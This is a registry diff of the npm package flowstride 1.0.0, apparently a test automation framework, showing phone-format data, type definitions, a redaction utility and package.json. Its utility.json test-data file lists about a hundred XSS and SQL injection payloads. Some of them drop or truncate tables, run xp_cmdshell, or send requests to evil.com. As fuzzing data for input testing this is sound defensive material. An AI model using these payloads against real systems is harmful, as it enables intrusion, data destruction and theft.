flowstride 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (62) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +183 -0
  3. package/dist/adapters/api/undici.d.ts +46 -0
  4. package/dist/adapters/api/undici.js +118 -0
  5. package/dist/adapters/web/playwright.d.ts +51 -0
  6. package/dist/adapters/web/playwright.js +1108 -0
  7. package/dist/cli/commands/init.d.ts +1 -0
  8. package/dist/cli/commands/init.js +77 -0
  9. package/dist/cli/commands/report.d.ts +1 -0
  10. package/dist/cli/commands/report.js +78 -0
  11. package/dist/cli/commands/run.d.ts +1 -0
  12. package/dist/cli/commands/run.js +158 -0
  13. package/dist/cli/index.d.ts +2 -0
  14. package/dist/cli/index.js +39 -0
  15. package/dist/parser/lexer.d.ts +29 -0
  16. package/dist/parser/lexer.js +425 -0
  17. package/dist/parser/parser.d.ts +41 -0
  18. package/dist/parser/parser.js +573 -0
  19. package/dist/parser/resolver.d.ts +5 -0
  20. package/dist/parser/resolver.js +19 -0
  21. package/dist/parser/validator.d.ts +4 -0
  22. package/dist/parser/validator.js +37 -0
  23. package/dist/parser/variable_resolver.d.ts +7 -0
  24. package/dist/parser/variable_resolver.js +33 -0
  25. package/dist/runner/data_generators.d.ts +55 -0
  26. package/dist/runner/data_generators.js +233 -0
  27. package/dist/runner/dom_stripper.d.ts +4 -0
  28. package/dist/runner/dom_stripper.js +61 -0
  29. package/dist/runner/events.d.ts +15 -0
  30. package/dist/runner/events.js +20 -0
  31. package/dist/runner/flow_orchestrator.d.ts +15 -0
  32. package/dist/runner/flow_orchestrator.js +216 -0
  33. package/dist/runner/flow_worker.d.ts +53 -0
  34. package/dist/runner/flow_worker.js +1112 -0
  35. package/dist/runner/persistent_vault.d.ts +12 -0
  36. package/dist/runner/persistent_vault.js +84 -0
  37. package/dist/runner/plugin_manager.d.ts +13 -0
  38. package/dist/runner/plugin_manager.js +164 -0
  39. package/dist/runner/temporary_store.d.ts +8 -0
  40. package/dist/runner/temporary_store.js +22 -0
  41. package/dist/runner/worker_entry.d.ts +1 -0
  42. package/dist/runner/worker_entry.js +63 -0
  43. package/dist/sdk/api_proxy.d.ts +8 -0
  44. package/dist/sdk/api_proxy.js +28 -0
  45. package/dist/sdk/db_proxy.d.ts +3 -0
  46. package/dist/sdk/db_proxy.js +15 -0
  47. package/dist/sessions/manager.d.ts +17 -0
  48. package/dist/sessions/manager.js +74 -0
  49. package/dist/sessions/types.d.ts +39 -0
  50. package/dist/sessions/types.js +2 -0
  51. package/dist/sessions/vault.d.ts +8 -0
  52. package/dist/sessions/vault.js +69 -0
  53. package/dist/test_data/commerce.json +341 -0
  54. package/dist/test_data/geography.json +1298 -0
  55. package/dist/test_data/identities.json +1420 -0
  56. package/dist/test_data/phone_data.json +27 -0
  57. package/dist/test_data/utility.json +246 -0
  58. package/dist/types/index.d.ts +104 -0
  59. package/dist/types/index.js +2 -0
  60. package/dist/utils/redactor.d.ts +5 -0
  61. package/dist/utils/redactor.js +53 -0
  62. package/package.json +54 -0
@@ -0,0 +1,27 @@
1
+ {
2
+ "NG": {
3
+ "code": "+234",
4
+ "length": 10,
5
+ "prefix": "0"
6
+ },
7
+ "US": {
8
+ "code": "+1",
9
+ "length": 10,
10
+ "prefix": ""
11
+ },
12
+ "GB": {
13
+ "code": "+44",
14
+ "length": 10,
15
+ "prefix": "0"
16
+ },
17
+ "CA": {
18
+ "code": "+1",
19
+ "length": 10,
20
+ "prefix": ""
21
+ },
22
+ "DE": {
23
+ "code": "+49",
24
+ "length": 11,
25
+ "prefix": "0"
26
+ }
27
+ }
@@ -0,0 +1,246 @@
1
+ {
2
+ "maliciousStrings": [
3
+ "<script>alert('xss')</script>",
4
+ "\"><script>alert(1)</script>",
5
+ "<img src=x onerror=alert(1)>",
6
+ "<svg onload=alert(1)>",
7
+ "' OR '1'='1",
8
+ "\" OR \"1\"=\"1",
9
+ "'; DROP TABLE users; --",
10
+ "admin' --",
11
+ "' UNION SELECT NULL --",
12
+ "<iframe src='javascript:alert(1)'></iframe>",
13
+ "<body onload=alert(1)>",
14
+ "<details open ontoggle=alert(1)>",
15
+ "<a href='javascript:alert(1)'>click</a>",
16
+ "' OR 1=1 --",
17
+ "' OR 'a'='a",
18
+ "'; EXEC xp_cmdshell('dir'); --",
19
+ "<math><mi//xlink:href='data:x,<script>alert(1)</script>'>",
20
+ "<video><source onerror='alert(1)'>",
21
+ "<input autofocus onfocus=alert(1)>",
22
+ "<marquee onstart=alert(1)>",
23
+ "' UNION SELECT username,password FROM users --",
24
+ "' AND 1=0 UNION ALL SELECT NULL,NULL,NULL --",
25
+ "<script>confirm('xss')</script>",
26
+ "<script>prompt('xss')</script>",
27
+ "<object data='javascript:alert(1)'></object>",
28
+ "<embed src='javascript:alert(1)'>",
29
+ "<link rel='stylesheet' href='javascript:alert(1)'>",
30
+ "' OR sleep(5)--",
31
+ "' WAITFOR DELAY '0:0:5'--",
32
+ "<div onclick=alert(1)>test</div>",
33
+ "<style>@import 'javascript:alert(1)';</style>",
34
+ "'; SHUTDOWN; --",
35
+ "<script src='http://evil.com/x.js'></script>",
36
+ "javascript:alert(document.cookie)",
37
+ "<img src='x' onerror='alert(document.domain)'>",
38
+ "' OR EXISTS(SELECT * FROM users)--",
39
+ "' OR ''='",
40
+ "' OR true--",
41
+ "<textarea autofocus onfocus=alert(1)>",
42
+ "<select autofocus onfocus=alert(1)>",
43
+ "<keygen autofocus onfocus=alert(1)>",
44
+ "'; INSERT INTO users VALUES('hacker'); --",
45
+ "'; UPDATE users SET role='admin'; --",
46
+ "' OR 1=1#",
47
+ "\" OR 1=1#",
48
+ "' OR 'x'='x'#",
49
+ "<script>alert(String.fromCharCode(88,83,83))</script>",
50
+ "<img src=1 href=1 onerror='javascript:alert(1)'></img>",
51
+ "<audio src onerror=alert(1)>",
52
+ "<base href='javascript:alert(1);//'>",
53
+ "' UNION ALL SELECT NULL,NULL,NULL,NULL --",
54
+ "' HAVING 1=1 --",
55
+ "' GROUP BY columnnames having 1=1 --",
56
+ "<script>window.location='http://evil.com'</script>",
57
+ "<meta http-equiv='refresh' content='0;url=javascript:alert(1)'>",
58
+ "<xml onreadystatechange=alert(1)>",
59
+ "' OR benchmark(1000000,MD5(1))#",
60
+ "<script>fetch('http://evil.com')</script>",
61
+ "<isindex action='javascript:alert(1)'>",
62
+ "<form action='javascript:alert(1)'><input type='submit'></form>",
63
+ "' OR 1=1 LIMIT 1 --",
64
+ "' OR username LIKE '%admin%' --",
65
+ "'; TRUNCATE TABLE accounts; --",
66
+ "<img src='invalid' onerror='confirm(1)'>",
67
+ "<svg><script>alert(1)</script></svg>",
68
+ "<script>document.body.innerHTML='hacked'</script>",
69
+ "'; DELETE FROM logs; --",
70
+ "' OR email IS NOT NULL --",
71
+ "<b onmouseover=alert(1)>hover</b>",
72
+ "<span onmouseenter=alert(1)>move</span>",
73
+ "<script>eval('alert(1)')</script>",
74
+ "<script>setTimeout('alert(1)',1000)</script>",
75
+ "' UNION SELECT version(),user() --",
76
+ "' OR ascii(substring(username,1,1))>64 --",
77
+ "<img src='x:x' onerror='alert(1)'>",
78
+ "<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
79
+ "<script>location.href='javascript:alert(1)'</script>",
80
+ "<script>new Image().src='http://evil.com'</script>",
81
+ "' OR 1=1/*",
82
+ "admin') OR ('1'='1",
83
+ "' OR ''=''; --",
84
+ "<script>top.location='http://evil.com'</script>",
85
+ "<img src=# onerror=alert(1)>",
86
+ "<svg/onload=alert(1)>",
87
+ "' OR 1 IN (SELECT 1)--",
88
+ "<script>alert`xss`</script>",
89
+ "<script>Function('alert(1)')()</script>",
90
+ "<iframe srcdoc='<script>alert(1)</script>'></iframe>",
91
+ "<script>document.write('<img src=x onerror=alert(1)>')</script>",
92
+ "' OR 1=CONVERT(int,(SELECT @@version))--",
93
+ "<img src='data:image/svg+xml,<svg onload=alert(1)>'>",
94
+ "<script>history.pushState({},'', '/evil')</script>",
95
+ "'; CREATE TABLE hacked(id int); --",
96
+ "<script>localStorage.setItem('x','1')</script>",
97
+ "<script>sessionStorage.setItem('x','1')</script>",
98
+ "<script>while(true){}</script>",
99
+ "' OR substring(password,1,1)='a' --",
100
+ "<script>alert(window.origin)</script>",
101
+ "<img src='x' onerror='fetch(`http://evil.com`)'>",
102
+ "<script>navigator.sendBeacon('http://evil.com')</script>",
103
+ "' OR 1=1; --",
104
+ "<script>alert('stress-test')</script>"
105
+ ],
106
+ "invalidEmails": [
107
+ "plainaddress",
108
+ "@missingusername.com",
109
+ "username@",
110
+ "username",
111
+ "username@.com",
112
+ "username@com",
113
+ "user..name@example.com",
114
+ "user.@example.com",
115
+ ".user@example.com",
116
+ "user@example",
117
+ "user@example..com",
118
+ "user@-example.com",
119
+ "user@example-.com",
120
+ "user@exam_ple.com",
121
+ "user@example.c",
122
+ "user@.example.com",
123
+ "user@@example.com",
124
+ "user example@example.com",
125
+ "user@example .com",
126
+ "user@ example.com",
127
+ "user@#$.com",
128
+ "user<>@example.com",
129
+ "\"user@example.com",
130
+ "user\"@example.com",
131
+ "user@exa mple.com",
132
+ "user@example,com",
133
+ "user@example/com",
134
+ "user@example;com",
135
+ "user@example:com",
136
+ "user@example..co.uk",
137
+ "user@.co.uk",
138
+ "user@localhost",
139
+ "user@111.222.333.44444",
140
+ "user@example..",
141
+ "user@.invalid.com",
142
+ "user@invalid..com",
143
+ "user@invalid_com",
144
+ "user@invalid#domain.com",
145
+ "user@invalid!.com",
146
+ "user@domain..org",
147
+ "user@domain@.corporateeeee",
148
+ "user@-domain.org",
149
+ "user@domain-.org",
150
+ "user@domain..co",
151
+ "user@domain,com",
152
+ "userdomain.com",
153
+ "user@",
154
+ "@domain.com",
155
+ "user.@domain.com",
156
+ ".user@domain.com",
157
+ "user..user@domain.com",
158
+ "user@domain..domain.com",
159
+ "user@domain.",
160
+ "user@.domain",
161
+ "user@domain#mail.com",
162
+ "user@do main.com",
163
+ "user name@domain.com",
164
+ "user\t@domain.com",
165
+ "user\n@domain.com",
166
+ "user@domain\n.com",
167
+ "user@[300.300.300.300]",
168
+ "user@[127.0.0.1",
169
+ "user@127.0.0.1]",
170
+ "user@[IPv6:12345]",
171
+ "user@domain..",
172
+ "user@domain.c",
173
+ "user@domain.toolongtlddddd",
174
+ "us er@domain.com",
175
+ "user@do_main.com",
176
+ "user@domain..info",
177
+ "user@domain..biz",
178
+ "user.@.domain.com",
179
+ "\"\"@domain.com",
180
+ "user\"name@domain.com",
181
+ "user@domain@domain.com",
182
+ "user@domain",
183
+ "user@domain.c_m",
184
+ "user@domain..travel",
185
+ "user@-domain-.com",
186
+ "user@domain-.co.uk",
187
+ "user@.domain.co.uk",
188
+ "user@domain#domain.com",
189
+ "user#domain.com",
190
+ "user@domain..museum",
191
+ "user..123@domain.com",
192
+ "user@sub..domain.com",
193
+ "user@domain..gov",
194
+ "user@domain..edu",
195
+ "user@domain..net",
196
+ "user@domain,co.uk",
197
+ "user@domain/co.uk",
198
+ "user@domain:co.uk",
199
+ "user@domain;co.uk",
200
+ "user@domain co.uk",
201
+ "user@domain\t.com",
202
+ " user@domain.com",
203
+ "user@domain.com ",
204
+ "user.@domain.co",
205
+ ".user@domain.co",
206
+ "user@domain..ai",
207
+ "user@.ai",
208
+ "user@domain..app",
209
+ "user@domain..dev"
210
+ ],
211
+ "overflowStrings": [
212
+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
213
+ "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
214
+ "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
215
+ ],
216
+ "specialChars": [
217
+ "😀😁😂🤣😃😄",
218
+ "🔥💀⚡🚀✨",
219
+ "こんにちは世界",
220
+ "مرحبا بالعالم",
221
+ "שלום עולם",
222
+ "नमस्ते दुनिया",
223
+ "你好世界",
224
+ "안녕하세요 세계",
225
+ "Привет мир",
226
+ "𝔘𝔫𝔦𝔠𝔬𝔡𝔢",
227
+ "¯\\_(ツ)_/¯",
228
+ "(╯°□°)╯︵ ┻━┻",
229
+ "❤★✈♞☯☢",
230
+ "\u202Eevil.txt",
231
+ "\u200FRTL-Test",
232
+ "‎invisible-char",
233
+ "line\nbreak",
234
+ "tab\tcharacter",
235
+ "carriage\rreturn",
236
+ "emoji👍test",
237
+ "🏳️‍🌈🏴‍☠️",
238
+ "₦€¥£₹",
239
+ "<>[]{}()",
240
+ "!@#$%^&*()_+",
241
+ "`~|\\\\//=?:;\"'",
242
+ "¿¡§¶•ªº",
243
+ "½¼¾∞≈≠≤≥",
244
+ "🧪⚠️stress-test"
245
+ ]
246
+ }
@@ -0,0 +1,104 @@
1
+ export interface FlowstrideConfig {
2
+ baseUrl?: string;
3
+ timeout: number;
4
+ headless: boolean;
5
+ defaultDialogBehavior?: 'accept' | 'dismiss';
6
+ urlMapPath?: string;
7
+ network?: {
8
+ include?: string[];
9
+ exclude?: string[];
10
+ backgroundPatterns?: string[];
11
+ };
12
+ security?: {
13
+ sensitiveKeys?: string[];
14
+ };
15
+ pluginsDir?: string;
16
+ }
17
+ export interface SessionData {
18
+ name: string;
19
+ tokens: Record<string, any>;
20
+ cookies?: any[];
21
+ localStorage?: Record<string, string>;
22
+ createdAt: number;
23
+ lastUsedAt: number;
24
+ persist: boolean;
25
+ }
26
+ export interface SessionDefinition {
27
+ name: string;
28
+ acquire: () => Promise<Record<string, any>>;
29
+ inject?: {
30
+ api?: {
31
+ headerName: string;
32
+ template: string;
33
+ };
34
+ ui?: {
35
+ localStorage?: Record<string, string>;
36
+ cookies?: Array<{
37
+ name: string;
38
+ value: string;
39
+ domain: string;
40
+ }>;
41
+ };
42
+ };
43
+ refresh?: {
44
+ onStatus: number[];
45
+ action: (oldTokens: any) => Promise<Record<string, any>>;
46
+ };
47
+ }
48
+ export interface FlowstrideSDK {
49
+ api: {
50
+ get: (url: string, headers?: Record<string, string>) => Promise<any>;
51
+ post: (url: string, body: any, headers?: Record<string, string>) => Promise<any>;
52
+ put: (url: string, body: any, headers?: Record<string, string>) => Promise<any>;
53
+ delete: (url: string, headers?: Record<string, string>) => Promise<any>;
54
+ };
55
+ ui: {
56
+ click: (selector: string) => Promise<void>;
57
+ type: (selector: string, text: string) => Promise<void>;
58
+ isVisible: (selector: string) => Promise<boolean>;
59
+ getText: (selector: string) => Promise<string>;
60
+ };
61
+ state: {
62
+ get: (key: string) => any;
63
+ set: (key: string, value: any) => void;
64
+ };
65
+ env: {
66
+ get: (key: string) => string | undefined;
67
+ };
68
+ db: {
69
+ connect: (connectionString: string) => any;
70
+ };
71
+ otp: {
72
+ generate: (secret: string) => string;
73
+ };
74
+ log: (message: string) => void;
75
+ expect: {
76
+ visible: (selector: string) => Promise<boolean>;
77
+ equals: (actual: any, expected: any, message?: string) => void;
78
+ contains: (actual: string | any[], expected: any, message?: string) => void;
79
+ };
80
+ utils: {
81
+ sleep: (ms: number) => Promise<void>;
82
+ generateId: (length?: number) => string;
83
+ };
84
+ }
85
+ export type PluginAction = (flow: FlowstrideSDK, data: any) => Promise<any>;
86
+ export interface StepResult {
87
+ id: string;
88
+ screen: string;
89
+ action: string;
90
+ expected: string;
91
+ actual: string;
92
+ status: 'PASS' | 'FAIL' | 'ERROR' | 'SKIPPED' | 'NOT TESTED';
93
+ }
94
+ export interface Scenario {
95
+ name: string;
96
+ steps: any[];
97
+ }
98
+ export interface ScenarioResult {
99
+ name: string;
100
+ status: 'PASS' | 'FAIL' | 'ERROR' | 'SKIPPED' | 'NOT TESTED';
101
+ duration: number;
102
+ error?: string;
103
+ steps: StepResult[];
104
+ }
@@ -0,0 +1,2 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
@@ -0,0 +1,5 @@
1
+ export declare class Redactor {
2
+ private static readonly DEFAULT_SENSITIVE_KEYS;
3
+ static redact(data: any, customKeys?: string[]): any;
4
+ static redactUrl(url: string): string;
5
+ }
@@ -0,0 +1,53 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.Redactor = void 0;
4
+ class Redactor {
5
+ static DEFAULT_SENSITIVE_KEYS = [
6
+ "password",
7
+ "token",
8
+ "accessToken",
9
+ "refreshToken",
10
+ "secret",
11
+ "authorization",
12
+ "bearer",
13
+ "cvv",
14
+ "pin",
15
+ ];
16
+ static redact(data, customKeys = []) {
17
+ if (!data || typeof data !== "object") {
18
+ return data;
19
+ }
20
+ const sensitiveKeys = new Set([
21
+ ...this.DEFAULT_SENSITIVE_KEYS,
22
+ ...customKeys,
23
+ ]);
24
+ if (Array.isArray(data)) {
25
+ return data.map((item) => this.redact(item, customKeys));
26
+ }
27
+ const redactedObject = {};
28
+ for (const [key, value] of Object.entries(data)) {
29
+ const isSensitive = Array.from(sensitiveKeys).some((sKey) => key.toLowerCase().includes(sKey.toLowerCase()));
30
+ if (isSensitive && value !== null && value !== undefined) {
31
+ redactedObject[key] = "***REDACTED***";
32
+ }
33
+ else if (typeof value === "object" && value !== null) {
34
+ redactedObject[key] = this.redact(value, customKeys);
35
+ }
36
+ else {
37
+ redactedObject[key] = value;
38
+ }
39
+ }
40
+ return redactedObject;
41
+ }
42
+ static redactUrl(url) {
43
+ try {
44
+ const urlObj = new URL(url);
45
+ urlObj.search = "";
46
+ return urlObj.toString();
47
+ }
48
+ catch {
49
+ return url;
50
+ }
51
+ }
52
+ }
53
+ exports.Redactor = Redactor;
package/package.json ADDED
@@ -0,0 +1,54 @@
1
+ {
2
+ "name": "flowstride",
3
+ "version": "1.0.0",
4
+ "description": "An opensource flowfirst test automation framework",
5
+ "workspaces": [
6
+ "packages/*"
7
+ ],
8
+ "main": "dist/index.js",
9
+ "types": "dist/index.d.ts",
10
+ "files": [
11
+ "dist"
12
+ ],
13
+ "bin": {
14
+ "flowstride": "dist/cli/index.js"
15
+ },
16
+ "scripts": {
17
+ "build": "tsc",
18
+ "flowstride": "node ./dist/cli/index.js",
19
+ "test": "echo 'Test script to be configured'",
20
+ "prepublishOnly": "npm run build"
21
+ },
22
+ "keywords": [
23
+ "automation",
24
+ "testing",
25
+ "qa",
26
+ "flowstride"
27
+ ],
28
+ "author": "Samuel Okolo",
29
+ "license": "MIT",
30
+ "engines": {
31
+ "node": ">=18.0.0"
32
+ },
33
+ "dependencies": {
34
+ "chalk": "^4.1.2",
35
+ "commander": "^11.0.0",
36
+ "dotenv": "^17.4.2",
37
+ "open": "^11.0.0",
38
+ "ora": "^5.4.1",
39
+ "playwright": "^1.59.1",
40
+ "playwright-extra": "^4.3.6",
41
+ "puppeteer-extra-plugin-stealth": "^2.11.2",
42
+ "ts-node": "^10.9.2",
43
+ "undici": "^7.25.0",
44
+ "ws": "^8.20.1"
45
+ },
46
+ "devDependencies": {
47
+ "@types/node": "^25.9.1",
48
+ "@types/ws": "^8.18.1",
49
+ "typescript": "^5.9.3"
50
+ },
51
+ "optionalDependencies": {
52
+ "@rolldown/binding-darwin-arm64": "^0.15.1"
53
+ }
54
+ }